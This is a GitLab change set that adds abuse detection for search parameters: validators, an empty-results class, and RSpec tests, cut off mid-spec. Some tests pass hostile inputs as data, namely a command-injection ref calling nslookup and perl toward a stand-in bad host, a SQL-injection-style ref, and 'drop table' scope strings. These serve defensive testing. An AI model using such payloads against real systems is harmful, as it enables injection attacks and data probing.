Handle abusive search parameters

app/controllers/search_controller.rb

@@ -12,7 +12,6 @@ class SearchController < ApplicationController
   around_action :allow_gitaly_ref_name_caching
 
   before_action :block_anonymous_global_searches, :check_scope_global_search_enabled, except: :opensearch
-  before_action :strip_surrounding_whitespace_from_search, except: :opensearch
   skip_before_action :authenticate_user!
   requires_cross_project_access if: -> do
     search_term_present = params[:search].present? || params[:term].present?
@@ -93,12 +92,12 @@ class SearchController < ApplicationController
 
   def search_term_valid?
     unless search_service.valid_query_length?
-      flash[:alert] = t('errors.messages.search_chars_too_long', count: SearchService::SEARCH_CHAR_LIMIT)
+      flash[:alert] = t('errors.messages.search_chars_too_long', count: Gitlab::Search::Params::SEARCH_CHAR_LIMIT)
       return false
     end
 
     unless search_service.valid_terms_count?
-      flash[:alert] = t('errors.messages.search_terms_too_long', count: SearchService::SEARCH_TERM_LIMIT)
+      flash[:alert] = t('errors.messages.search_terms_too_long', count: Gitlab::Search::Params::SEARCH_TERM_LIMIT)
       return false
     end
 
@@ -143,6 +142,11 @@ class SearchController < ApplicationController
     payload[:metadata]['meta.search.filters.confidential'] = params[:confidential]
     payload[:metadata]['meta.search.filters.state'] = params[:state]
     payload[:metadata]['meta.search.force_search_results'] = params[:force_search_results]
+
+    if search_service.abuse_detected?
+      payload[:metadata]['abuse.confidence'] = Gitlab::Abuse.confidence(:certain)
+      payload[:metadata]['abuse.messages'] = search_service.abuse_messages
+    end
   end
 
   def block_anonymous_global_searches
@@ -194,10 +198,6 @@ class SearchController < ApplicationController
       render status: :request_timeout
     end
   end
-
-  def strip_surrounding_whitespace_from_search
-    %i(term search).each { |param| params[param]&.strip! }
-  end
 end
 
 SearchController.prepend_mod_with('SearchController')

app/services/search_service.rb

@@ -2,42 +2,35 @@
 
 class SearchService
   include Gitlab::Allowable
+  include Gitlab::Utils::StrongMemoize
 
-  SEARCH_TERM_LIMIT = 64
-  SEARCH_CHAR_LIMIT = 4096
   DEFAULT_PER_PAGE = Gitlab::SearchResults::DEFAULT_PER_PAGE
   MAX_PER_PAGE = 200
 
   def initialize(current_user, params = {})
     @current_user = current_user
-    @params = params.dup
+    @params = Gitlab::Search::Params.new(params, detect_abuse: prevent_abusive_searches?)
   end
 
   # rubocop: disable CodeReuse/ActiveRecord
   def project
-    return @project if defined?(@project)
-
-    @project =
-      if params[:project_id].present?
+    strong_memoize(:project) do
+      if params[:project_id].present? && valid_request?
         the_project = Project.find_by(id: params[:project_id])
         can?(current_user, :read_project, the_project) ? the_project : nil
-      else
-        nil
       end
+    end
   end
   # rubocop: enable CodeReuse/ActiveRecord
 
   # rubocop: disable CodeReuse/ActiveRecord
   def group
-    return @group if defined?(@group)
-
-    @group =
-      if params[:group_id].present?
+    strong_memoize(:group) do
+      if params[:group_id].present? && valid_request?
         the_group = Group.find_by(id: params[:group_id])
         can?(current_user, :read_group, the_group) ? the_group : nil
-      else
-        nil
       end
+    end
   end
   # rubocop: enable CodeReuse/ActiveRecord
 
@@ -55,18 +48,13 @@ class SearchService
     @show_snippets = params[:snippets] == 'true'
   end
 
-  def valid_query_length?
-    params[:search].length <= SEARCH_CHAR_LIMIT
-  end
-
-  def valid_terms_count?
-    params[:search].split.count { |word| word.length >= 3 } <= SEARCH_TERM_LIMIT
-  end
-
   delegate :scope, to: :search_service
+  delegate :valid_terms_count?, :valid_query_length?, to: :params
 
   def search_results
-    @search_results ||= search_service.execute
+    strong_memoize(:search_results) do
+      abuse_detected? ? Gitlab::EmptySearchResults.new : search_service.execute
+    end
   end
 
   def search_objects(preload_method = nil)
@@ -83,8 +71,30 @@ class SearchService
     search_results.aggregations(scope)
   end
 
+  def abuse_detected?
+    strong_memoize(:abuse_detected) do
+      params.abusive?
+    end
+  end
+
+  def abuse_messages
+    return [] unless params.abusive?
+
+    params.abuse_detection.errors.messages
+  end
+
+  def valid_request?
+    strong_memoize(:valid_request) do
+      params.valid?
+    end
+  end
+
   private
 
+  def prevent_abusive_searches?
+    Feature.enabled?(:prevent_abusive_searches, current_user)
+  end
+
   def page
     [1, params[:page].to_i].max
   end

config/feature_flags/development/prevent_abusive_searches.yml

+---
+name: prevent_abusive_searches
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74953
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346263
+milestone: '14.6'
+type: development
+group: group::global search
+default_enabled: false

ee/app/services/ee/search_service.rb

@@ -11,18 +11,6 @@ module EE
       search_service.use_elasticsearch?
     end
 
-    def valid_query_length?
-      return true if use_elasticsearch?
-
-      super
-    end
-
-    def valid_terms_count?
-      return true if use_elasticsearch?
-
-      super
-    end
-
     def show_epics?
       search_service.allowed_scopes.include?('epics')
     end

lib/gitlab/abuse.rb

+# frozen_string_literal: true
+
+module Gitlab
+  module Abuse
+    CONFIDENCE_LEVELS = {
+      certain:   1.0,
+      likely:    0.8,
+      uncertain: 0.5,
+      unknown:   0.0
+    }.freeze
+
+    class << self
+      def confidence(rating)
+        CONFIDENCE_LEVELS.fetch(rating.to_sym)
+      end
+    end
+  end
+end

lib/gitlab/empty_search_results.rb

+# frozen_string_literal: true
+
+module Gitlab
+  # This class has the same interface as SearchResults except
+  # it is empty and does not do any work.
+  #
+  # We use this when responding to abusive search requests.
+  class EmptySearchResults
+    def initialize(*)
+    end
+
+    def objects(*)
+      Kaminari.paginate_array([])
+    end
+
+    def formatted_count(*)
+      '0'
+    end
+
+    def highlight_map(*)
+      {}
+    end
+
+    def aggregations(*)
+      []
+    end
+  end
+end

lib/gitlab/search/abuse_detection.rb

+# frozen_string_literal: true
+
+module Gitlab
+  module Search
+    class AbuseDetection
+      include ActiveModel::Validations
+      include AbuseValidators
+
+      ABUSIVE_TERM_SIZE = 100
+      ALLOWED_CHARS_REGEX = %r{\A[[:alnum:]_\-\/\.!]+\z}.freeze
+      MINIMUM_SEARCH_CHARS = 2
+
+      ALLOWED_SCOPES = %w(
+        blobs
+        code
+        commits
+        epics
+        issues
+        merge_requests
+        milestones
+        notes
+        projects
+        snippet_titles
+        users
+        wiki_blobs
+      ).freeze
+
+      READABLE_PARAMS = %i(
+        group_id
+        project_id
+        project_ref
+        query_string
+        repository_ref
+        scope
+      ).freeze
+
+      STOP_WORDS = %w(
+        a an and are as at be but by for if in into is it no not of on or such that the their then there these they this to was will with
+      ).freeze
+
+      validates :project_id, :group_id,
+        numericality: { only_integer: true, message: "abusive ID detected" }, allow_blank: true
+
+      validates :scope, inclusion: { in: ALLOWED_SCOPES, message: 'abusive scope detected' }, allow_blank: true
+
+      validates :repository_ref, :project_ref,
+        format: { with: ALLOWED_CHARS_REGEX, message: "abusive characters detected" }, allow_blank: true
+
+      validates :query_string,
+        exclusion: { in: STOP_WORDS, message: 'stopword only abusive search detected' }, allow_blank: true
+
+      validates :query_string,
+        length: { minimum: MINIMUM_SEARCH_CHARS, message: 'abusive tiny search detected' }, unless: :skip_tiny_search_validation?, allow_blank: true
+
+      validates :query_string,
+        no_abusive_term_length: { maximum: ABUSIVE_TERM_SIZE, maximum_for_url: ABUSIVE_TERM_SIZE * 2 }
+
+      validates :query_string, :repository_ref, :project_ref, no_abusive_coercion_from_string: true
+
+      attr_reader(*READABLE_PARAMS)
+
+      def initialize(params)
+        READABLE_PARAMS.each { |p| instance_variable_set("@#{p}", params[p]) }
+      end
+
+      private
+
+      def skip_tiny_search_validation?
+        wildcard_search? || stop_word_search?
+      end
+
+      def wildcard_search?
+        query_string == '*'
+      end
+
+      def stop_word_search?
+        STOP_WORDS.include? query_string
+      end
+    end
+  end
+end

lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator.rb

+# frozen_string_literal: true
+
+module Gitlab
+  module Search
+    module AbuseValidators
+      class NoAbusiveCoercionFromStringValidator < ActiveModel::EachValidator
+        def validate_each(instance, attribute, value)
+          if value.present? && !value.is_a?(String)
+            instance.errors.add attribute, "abusive coercion from string detected"
+          end
+        end
+      end
+    end
+  end
+end

lib/gitlab/search/abuse_validators/no_abusive_term_length_validator.rb

+# frozen_string_literal: true
+
+module Gitlab
+  module Search
+    module AbuseValidators
+      class NoAbusiveTermLengthValidator < ActiveModel::EachValidator
+        def validate_each(instance, attribute, value)
+          return unless value.is_a?(String)
+
+          if value.split.any? { |term| term_too_long?(term) }
+            instance.errors.add attribute, 'abusive term length detected'
+          end
+        end
+
+        private
+
+        def term_too_long?(term)
+          char_limit = url_detected?(term) ? maximum_for_url : maximum
+          term.length >= char_limit
+        end
+
+        def url_detected?(uri_str)
+          URI::DEFAULT_PARSER.regexp[:ABS_URI].match? uri_str
+        end
+
+        def maximum_for_url
+          options.fetch(:maximum_for_url, maximum)
+        end
+
+        def maximum
+          options.fetch(:maximum)
+        end
+      end
+    end
+  end
+end

lib/gitlab/search/params.rb

+# frozen_string_literal: true
+
+module Gitlab
+  module Search
+    class Params
+      include ActiveModel::Validations
+
+      SEARCH_CHAR_LIMIT = 4096
+      SEARCH_TERM_LIMIT = 64
+
+      # Generic validation
+      validates :query_string, length: { maximum: SEARCH_CHAR_LIMIT }
+      validate :not_too_many_terms
+
+      attr_reader :raw_params, :query_string, :abuse_detection
+      alias_method :search, :query_string
+      alias_method :term, :query_string
+
+      def initialize(params, detect_abuse: true)
+        @raw_params      = params.is_a?(Hash) ? params.with_indifferent_access : params.dup
+        @query_string    = strip_surrounding_whitespace(@raw_params[:search] || @raw_params[:term])
+        @detect_abuse    = detect_abuse
+        @abuse_detection = AbuseDetection.new(self) if @detect_abuse
+
+        validate
+      end
+
+      def [](key)
+        if respond_to? key
+          # We have this logic here to support reading custom attributes
+          # like @query_string
+          #
+          # This takes precedence over values in @raw_params
+          public_send(key) # rubocop:disable GitlabSecurity/PublicSend
+        else
+          raw_params[key]
+        end
+      end
+
+      def abusive?
+        detect_abuse? && abuse_detection.errors.any?
+      end
+
+      def valid_query_length?
+        return true unless errors.has_key? :query_string
+
+        errors[:query_string].none? { |msg| msg.include? SEARCH_CHAR_LIMIT.to_s }
+      end
+
+      def valid_terms_count?
+        return true unless errors.has_key? :query_string
+
+        errors[:query_string].none? { |msg| msg.include? SEARCH_TERM_LIMIT.to_s }
+      end
+
+      def validate
+        if detect_abuse?
+          abuse_detection.validate
+        end
+
+        super
+      end
+
+      def valid?
+        if detect_abuse?
+          abuse_detection.valid? && super
+        else
+          super
+        end
+      end
+
+      private
+
+      def detect_abuse?
+        @detect_abuse
+      end
+
+      def not_too_many_terms
+        if query_string.split.count { |word| word.length >= 3 } > SEARCH_TERM_LIMIT
+          errors.add :query_string, "has too many search terms (maximum is #{SEARCH_TERM_LIMIT})"
+        end
+      end
+
+      def strip_surrounding_whitespace(obj)
+        obj.to_s.strip
+      end
+    end
+  end
+end

spec/controllers/search_controller_spec.rb

@@ -127,21 +127,26 @@ RSpec.describe SearchController do
 
           context 'check search term length' do
             let(:search_queries) do
-              char_limit = SearchService::SEARCH_CHAR_LIMIT
-              term_limit = SearchService::SEARCH_TERM_LIMIT
+              char_limit = Gitlab::Search::Params::SEARCH_CHAR_LIMIT
+              term_limit = Gitlab::Search::Params::SEARCH_TERM_LIMIT
+              term_char_limit = Gitlab::Search::AbuseDetection::ABUSIVE_TERM_SIZE
               {
-                chars_under_limit: ('a' * (char_limit - 1)),
-                chars_over_limit: ('a' * (char_limit + 1)),
-                terms_under_limit: ('abc ' * (term_limit - 1)),
-                terms_over_limit: ('abc ' * (term_limit + 1))
+                chars_under_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit],
+                chars_over_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit + 1],
+                 terms_under_limit: ('abc ' * (term_limit - 1)),
+                terms_over_limit: ('abc ' * (term_limit + 1)),
+                term_length_over_limit: ('a' * (term_char_limit + 1)),
+                term_length_under_limit: ('a' * (term_char_limit - 1))
               }
             end
 
             where(:string_name, :expectation) do
-              :chars_under_limit | :not_to_set_flash
-              :chars_over_limit  | :set_chars_flash
-              :terms_under_limit | :not_to_set_flash
-              :terms_over_limit  | :set_terms_flash
+              :chars_under_limit       | :not_to_set_flash
+              :chars_over_limit        | :set_chars_flash
+              :terms_under_limit       | :not_to_set_flash
+              :terms_over_limit        | :set_terms_flash
+              :term_length_under_limit | :not_to_set_flash
+              :term_length_over_limit  | :not_to_set_flash # abuse, so do nothing.
             end
 
             with_them do
@@ -187,6 +192,14 @@ RSpec.describe SearchController do
               expect(response).to have_gitlab_http_status(:ok)
             end
           end
+
+          context 'handling abusive search_terms' do
+            it 'succeeds but does NOT do anything' do
+              get :show, params: { scope: 'projects', search: '*', repository_ref: '-1%20OR%203%2B640-640-1=0%2B0%2B0%2B1' }
+              expect(response).to have_gitlab_http_status(:ok)
+              expect(assigns(:search_results)).to be_a Gitlab::EmptySearchResults
+            end
+          end
         end
 
         context 'tab feature flags' do
@@ -221,16 +234,6 @@ RSpec.describe SearchController do
         end
       end
 
-      it 'strips surrounding whitespace from search query' do
-        get :show, params: { scope: 'notes', search: '   foobar    ' }
-        expect(assigns[:search_term]).to eq 'foobar'
-      end
-
-      it 'strips surrounding whitespace from autocomplete term' do
-        expect(controller).to receive(:search_autocomplete_opts).with('youcompleteme')
-        get :autocomplete, params: { term: '   youcompleteme    ' }
-      end
-
       it 'finds issue comments' do
         project = create(:project, :public)
         note = create(:note_on_issue, project: project)
@@ -289,7 +292,7 @@ RSpec.describe SearchController do
       end
     end
 
-    describe 'GET #count' do
+    describe 'GET #count', :aggregate_failures do
       it_behaves_like 'when the user cannot read cross project', :count, { search: 'hello', scope: 'projects' }
       it_behaves_like 'with external authorization service enabled', :count, { search: 'hello', scope: 'projects' }
       it_behaves_like 'support for active record query timeouts', :count, { search: 'hello', scope: 'projects' }, :search_results, :json
@@ -323,12 +326,38 @@ RSpec.describe SearchController do
 
         expect(response.headers['Cache-Control']).to eq('private, no-store')
       end
+
+      it 'does NOT blow up if search param is NOT a string' do
+        get :count, params: { search: ['hello'], scope: 'projects' }
+        expect(response).to have_gitlab_http_status(:ok)
+        expect(json_response).to eq({ 'count' => '0' })
+
+        get :count, params: { search: { nested: 'hello' }, scope: 'projects' }
+        expect(response).to have_gitlab_http_status(:ok)
+        expect(json_response).to eq({ 'count' => '0' })
+      end
+
+      it 'does NOT blow up if repository_ref contains abusive characters' do
+        get :count, params: {
+          search: 'hello',
+          repository_ref: "(nslookup%20hitqlwv501f.somewhere.bad%7C%7Cperl%20-e%20%22gethostbyname('hitqlwv501f.somewhere.bad')%22)",
+          scope: 'projects'
+        }
+        expect(response).to have_gitlab_http_status(:ok)
+        expect(json_response).to eq({ 'count' => '0' })
+      end
     end
 
     describe 'GET #autocomplete' do
       it_behaves_like 'when the user cannot read cross project', :autocomplete, { term: 'hello' }
       it_behaves_like 'with external authorization service enabled', :autocomplete, { term: 'hello' }
       it_behaves_like 'support for active record query timeouts', :autocomplete, { term: 'hello' }, :project, :json
+
+      it 'returns an empty array when given abusive search term' do
+        get :autocomplete, params: { term: ('hal' * 9000), scope: 'projects' }
+        expect(response).to have_gitlab_http_status(:ok)
+        expect(json_response).to match_array([])
+      end
     end
 
     describe '#append_info_to_payload' do
@@ -358,6 +387,35 @@ RSpec.describe SearchController do
         get :show, params: { search: 'hello world', group_id: '123', project_id: '456' }
       end
     end
+
+    context 'abusive searches', :aggregate_failures do
+      let(:project) { create(:project, :public, name: 'hello world') }
+      let(:make_abusive_request) do
+        get :show, params: { scope: '1;drop%20tables;boom', search: 'hello world', project_id: project.id }
+      end
+
+      before do
+        enable_external_authorization_service_check
+      end
+
+      it 'returns EmptySearchResults' do
+        expect(Gitlab::EmptySearchResults).to receive(:new).and_call_original
+        make_abusive_request
+        expect(response).to have_gitlab_http_status(:ok)
+      end
+
+      context 'when the feature flag is disabled' do
+        before do
+          stub_feature_flags(prevent_abusive_searches: false)
+        end
+
+        it 'returns a regular search result' do
+          expect(Gitlab::EmptySearchResults).not_to receive(:new)
+          make_abusive_request
+          expect(response).to have_gitlab_http_status(:ok)
+        end
+      end
+    end
   end
 
   context 'unauthorized user' do

spec/lib/gitlab/empty_search_results_spec.rb

+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::EmptySearchResults do
+  subject { described_class.new }
+
+  describe '#objects' do
+    it 'returns an empty array' do
+      expect(subject.objects).to match_array([])
+    end
+  end
+
+  describe '#formatted_count' do
+    it 'returns a zero' do
+      expect(subject.formatted_count).to eq('0')
+    end
+  end
+
+  describe '#highlight_map' do
+    it 'returns an empty hash' do
+      expect(subject.highlight_map).to eq({})
+    end
+  end
+
+  describe '#aggregations' do
+    it 'returns an empty array' do
+      expect(subject.objects).to match_array([])
+    end
+  end
+end

spec/lib/gitlab/search/abuse_detection_spec.rb

+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::AbuseDetection do
+  subject { described_class.new(params) }
+
+  let(:params) {{ query_string: 'foobar' }}
+
+  describe 'abusive scopes validation' do
+    it 'allows only approved scopes' do
+      described_class::ALLOWED_SCOPES.each do |scope|
+        expect(described_class.new(scope: scope)).to be_valid
+      end
+    end
+
+    it 'disallows anything not approved' do
+      expect(described_class.new(scope: 'nope')).not_to be_valid
+    end
+  end
+
+  describe 'abusive character matching' do
+    refs = %w(
+        main
+        тест
+        maiñ
+        main123
+        main-v123
+        main-v12.3
+        feature/it_works
+        really_important!
+        测试
+      )
+
+    refs.each do |ref|
+      it "does match refs permitted by git refname: #{ref}" do
+        [:repository_ref, :project_ref].each do |param|
+          validation = described_class.new(Hash[param, ref])
+          expect(validation).to be_valid
+        end
+      end
+
+      it "does NOT match refs with special characters: #{ref}" do
+        ['?', '\\', ' '].each do |special_character|
+          [:repository_ref, :project_ref].each do |param|
+            validation = described_class.new(Hash[param, ref + special_character])
+            expect(validation).not_to be_valid
+          end
+        end
+      end
+    end
+  end
+
+  describe 'numericality validation' do
+    it 'considers non Integers to be invalid' do
+      [:project_id, :group_id].each do |param|
+        [[1, 2, 3], 'xyz', 3.14, { foo: :bar }].each do |dtype|
+          expect(described_class.new(param => dtype)).not_to be_valid
+        end
+      end
+    end
+
+    it 'considers Integers to be valid' do
+      [:project_id, :group_id].each do |param|
+        expect(described_class.new(param => 123)).to be_valid
+      end
+    end
+  end
+
+  describe 'query_string validation' do
+    using ::RSpec::Parameterized::TableSyntax
+
+    subject { described_class.new(query_string: search) }
+
+    let(:validation_errors) do
+      subject.validate
+      subject.errors.messages
+    end
+
+    where(:search, :errors) do
+      described_class::STOP_WORDS.each do |word|
+        word | { query_string: ['stopword only abusive search detected'] }
+      end
+
+      'x'                                        | { query_string: ['abusive tiny search detected'] }
+      ('x' * described_class::ABUSIVE_TERM_SIZE) | { query_string: ['abusive term length detected'] }
+      ''                                         | {}
+      '*'                                        | {}
+      'ruby'                                     | {}
+    end
+
+    with_them do
+      it 'validates query string for pointless search' do
+        expect(validation_errors).to eq(errors)
+      end
+    end
+  end
+
+  describe 'abusive type coercion from string validation' do
+    it 'considers anything not a String invalid' do
+      [:query_string, :scope, :repository_ref, :project_ref].each do |param|
+        [[1, 2, 3], 123, 3.14, { foo: :bar }].each do |dtype|
+          expect(described_class.new(param => dtype)).not_to be_valid
+        end
+      end
+    end
+
+    it 'considers Strings to be valid' do
+      [:query_string, :repository_ref, :project_ref].each do |param|
+        expect(described_class.new(param => "foo")).to be_valid
+      end
+    end
+  end
+end

spec/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator_spec.rb

+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveCoercionFromStringValidator do
+  subject do
+    described_class.new({ attributes: { foo: :bar } })
+  end
+
+  let(:instance) { double(:instance) }
+  let(:attribute) { :attribute }
+  let(:validation_msg) { 'abusive coercion from string detected' }
+  let(:validate) { subject.validate_each(instance, attribute, attribute_value) }
+
+  using ::RSpec::Parameterized::TableSyntax
+
+  where(:attribute_value, :valid?) do
+    ['this is an arry']     | false
+    { 'this': 'is a hash' } | false
+    123                     | false
+    456.78                  | false
+    'now this is a string'  | true
+  end
+
+  with_them do
+    it do
+      if valid?
+        expect(instance).not_to receive(:errors)
+      else
+        expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
+        validate
+      end
+    end
+  end
+end

spec/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator_spec.rb

+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveTermLengthValidator do
+  subject do
+    described_class.new({ attributes: { foo: :bar }, maximum: limit, maximum_for_url: url_limit })
+  end
+
+  let(:limit) { 100 }
+  let(:url_limit) { limit * 2 }
+  let(:instance) { double(:instance) }
+  let(:attribute) { :search }
+  let(:validation_msg) { 'abusive term length detected' }
+  let(:validate) { subject.validate_each(instance, attribute, search) }
+
+  context 'when a term is over the limit' do
+    let(:search) { "this search is too lo#{'n' * limit}g" }
+
+    it 'adds a validation error' do
+      expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
+      validate
+    end
+  end
+
+  context 'when all terms are under the limit' do
+    let(:search) { "what is love? baby don't hurt me" }
+
+    it 'does NOT add any validation errors' do
+      expect(instance).not_to receive(:errors)
+      validate
+    end
+  end
+
+  context 'when a URL is detected in a search term' do
+    let(:double_limit) { limit * 2 }
+    let(:terms) do
+      [
+        'http://' + 'x' * (double_limit - 12) + '.com',
+        'https://' + 'x' * (double_limit - 13) + '.com',
+        'sftp://' + 'x' * (double_limit - 12) + '.com',
+        'ftp://' + 'x' * (double_limit - 11) + '.com',
+        'http://' + 'x' * (double_limit - 8) # no tld is OK
+      ]
+    end
+
+    context 'when under twice the limit' do
+      let(:search) { terms.join(' ') }
+
+      it 'does NOT add any validation errors' do
+        search.split.each do |term|
+          expect(term.length).to be < url_limit
+        end
+
+        expect(instance).not_to receive(:errors)
+        validate
+      end
+    end
+
+    context 'when over twice the limit' do
+      let(:search) do
+        terms.map { |t| t + 'xxxxxxxx' }.join(' ')
+      end
+
+      it 'adds a validation error' do
+        expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
+        validate
+      end
+    end
+  end
+end

spec/lib/gitlab/search/params_spec.rb

+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::Params do
+  subject { described_class.new(params, detect_abuse: detect_abuse) }
+
+  let(:search) { 'search' }
+  let(:group_id) { 123 }
+  let(:params) { { group_id: 123, search: search } }
+  let(:detect_abuse) { true }
+
+  describe 'detect_abuse conditional' do
+    it 'does not call AbuseDetection' do
+      expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
+      described_class.new(params, detect_abuse: false)
+    end
+
+    it 'uses AbuseDetection by default' do
+      expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
+      described_class.new(params)
+    end
+  end
+
+  describe '#[]' do
+    it 'feels like regular params' do
+      expect(subject[:group_id]).to eq(params[:group_id])
+    end
+
+    it 'has indifferent access' do
+      params = described_class.new({ 'search' => search, group_id: group_id })
+      expect(params['group_id']).to eq(group_id)
+      expect(params[:search]).to eq(search)
+    end
+
+    it 'also works on attr_reader attributes' do
+      expect(subject[:query_string]).to eq(subject.query_string)
+    end
+  end
+
+  describe '#query_string' do
+    let(:term) { 'term' }
+
+    it "uses 'search' parameter" do
+      params = described_class.new({ search: search })
+      expect(params.query_string).to eq(search)
+    end
+
+    it "uses 'term' parameter" do
+      params = described_class.new({ term: term })
+      expect(params.query_string).to eq(term)
+    end
+
+    it "prioritizes 'search' over 'term'" do
+      params = described_class.new({ search: search, term: term })
+      expect(params.query_string).to eq(search)
+    end
+
+    it 'strips surrounding whitespace from query string' do
+      params = described_class.new({ search: '     ' + search + '           ' })
+      expect(params.query_string).to eq(search)
+    end
+  end
+
+  describe '#validate' do
+    context 'when detect_abuse is disabled' do
+      let(:detect_abuse) { false }
+
+      it 'does NOT validate AbuseDetector' do
+        expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
+        subject.validate
+      end
+    end
+
+    it 'validates AbuseDetector on validation' do
+      expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
+      subject.validate
+    end
+  end
+
+  describe '#valid?' do
+    context 'when detect_abuse is disabled' do
+      let(:detect_abuse) { false }
+
+      it 'does NOT validate AbuseDetector' do
+        expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
+        subject.valid?
+      end
+    end
+
+    it 'validates AbuseDetector on validation' do
+      expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
+      subject.valid?
+    end
+  end
+
+  describe 'abuse detection' do
+    let(:abuse_detection) { instance_double(Gitlab::Search::AbuseDetection) }
+
+    before do
+      allow(subject).to receive(:abuse_detection).and_return abuse_detection
+      allow(abuse_detection).to receive(:errors).and_return abuse_errors
+    end
+
+    context 'when there are abuse validation errors' do
+      let(:abuse_errors) { { foo: ['bar'] } }
+
+      it 'is considered abusive' do
+        expect(subject).to be_abusive
+      end
+    end
+
+    context 'when there are NOT any abuse validation errors' do
+      let(:abuse_errors) { {} }
+
+      context 'and there are other validation errors' do
+        it 'is NOT considered abusive' do
+          allow(subject).to receive(:valid?) do
+            subject.errors.add :project_id, 'validation error unrelated to abuse'
+            false
+          end
+
+          expect(subject).not_to be_abusive
+        end
+      end
+
+      context 'and there are NO other validation errors' do
+        it 'is NOT considered abusive' do
+          allow(subject).to receive(:valid?).and_return(true)
+
+          expect(subject).not_to be_abusive
+        end
+      end
+    end
+  end
+end

spec/services/search_service_spec.rb

@@ -20,6 +20,7 @@ RSpec.describe SearchService do
 
   let(:page) { 1 }
   let(:per_page) { described_class::DEFAULT_PER_PAGE }
+  let(:valid_search) { "what is love?" }
 
   subject(:search_service) { described_class.new(user, search: search, scope: scope, page: page, per_page: per_page) }
 
@@ -30,7 +31,7 @@ RSpec.describe SearchService do
   describe '#project' do
     context 'when the project is accessible' do
       it 'returns the project' do
-        project = described_class.new(user, project_id: accessible_project.id).project
+        project = described_class.new(user, project_id: accessible_project.id, search: valid_search).project
 
         expect(project).to eq accessible_project
       end
@@ -39,7 +40,7 @@ RSpec.describe SearchService do
         search_project = create :project
         search_project.add_guest(user)
 
-        project = described_class.new(user, project_id: search_project.id).project
+        project = described_class.new(user, project_id: search_project.id, search: valid_search).project
 
         expect(project).to eq search_project
       end
@@ -47,7 +48,7 @@ RSpec.describe SearchService do
 
     context 'when the project is not accessible' do
       it 'returns nil' do
-        project = described_class.new(user, project_id: inaccessible_project.id).project
+        project = described_class.new(user, project_id: inaccessible_project.id, search: valid_search).project
 
         expect(project).to be_nil
       end
@@ -55,7 +56,7 @@ RSpec.describe SearchService do
 
     context 'when there is no project_id' do
       it 'returns nil' do
-        project = described_class.new(user).project
+        project = described_class.new(user, search: valid_search).project
 
         expect(project).to be_nil
       end
@@ -65,7 +66,7 @@ RSpec.describe SearchService do
   describe '#group' do
     context 'when the group is accessible' do
       it 'returns the group' do
-        group = described_class.new(user, group_id: accessible_group.id).group
+        group = described_class.new(user, group_id: accessible_group.id, search: valid_search).group
 
         expect(group).to eq accessible_group
       end
@@ -73,7 +74,7 @@ RSpec.describe SearchService do
 
     context 'when the group is not accessible' do
       it 'returns nil' do
-        group = described_class.new(user, group_id: inaccessible_group.id).group
+        group = described_class.new(user, group_id: inaccessible_group.id, search: valid_search).group
 
         expect(group).to be_nil
       end
@@ -81,7 +82,7 @@ RSpec.describe SearchService do
 
     context 'when there is no group_id' do
       it 'returns nil' do
-        group = described_class.new(user).group
+        group = described_class.new(user, search: valid_search).group
 
         expect(group).to be_nil
       end
@@ -118,7 +119,7 @@ RSpec.describe SearchService do
     context 'with accessible project_id' do
       context 'and allowed scope' do
         it 'returns the specified scope' do
-          scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes').scope
+          scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes', search: valid_search).scope
 
           expect(scope).to eq 'notes'
         end
@@ -126,7 +127,7 @@ RSpec.describe SearchService do
 
       context 'and disallowed scope' do
         it 'returns the default scope' do
-          scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects').scope
+          scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects', search: valid_search).scope
 
           expect(scope).to eq 'blobs'
         end
@@ -134,7 +135,7 @@ RSpec.describe SearchService do
 
       context 'and no scope' do
         it 'returns the default scope' do
-          scope = described_class.new(user, project_id: accessible_project.id).scope
+          scope = described_class.new(user, project_id: accessible_project.id, search: valid_search).scope
 
           expect(scope).to eq 'blobs'
         end
@@ -552,4 +553,66 @@ RSpec.describe SearchService do
       end
     end
   end
+
+  describe '#valid_request?' do
+    let(:scope) { 'issues' }
+    let(:search) { 'foobar' }
+    let(:params) { instance_double(Gitlab::Search::Params) }
+
+    before do
+      allow(Gitlab::Search::Params).to receive(:new).and_return(params)
+      allow(params).to receive(:valid?).and_return double(:valid?)
+    end
+
+    it 'is the return value of params.valid?' do
+      expect(subject.valid_request?).to eq(params.valid?)
+    end
+  end
+
+  describe 'abusive search handling' do
+    subject { described_class.new(user, raw_params) }
+
+    let(:raw_params) { { search: search, scope: scope } }
+    let(:search) { 'foobar' }
+
+    let(:search_service) { double(:search_service) }
+
+    before do
+      stub_feature_flags(prevent_abusive_searches: should_detect_abuse)
+      expect(Gitlab::Search::Params).to receive(:new)
+        .with(raw_params, detect_abuse: should_detect_abuse).and_call_original
+
+      allow(subject).to receive(:search_service).and_return search_service
+    end
+
+    context 'when abusive search but prevent_abusive_searches FF is disabled' do
+      let(:should_detect_abuse) { false }
+      let(:scope) { '1;drop%20table' }
+
+      it 'executes search even if params are abusive' do
+        expect(search_service).to receive(:execute)
+        subject.search_results
+      end
+    end
+
+    context 'a search is abusive' do
+      let(:should_detect_abuse) { true }
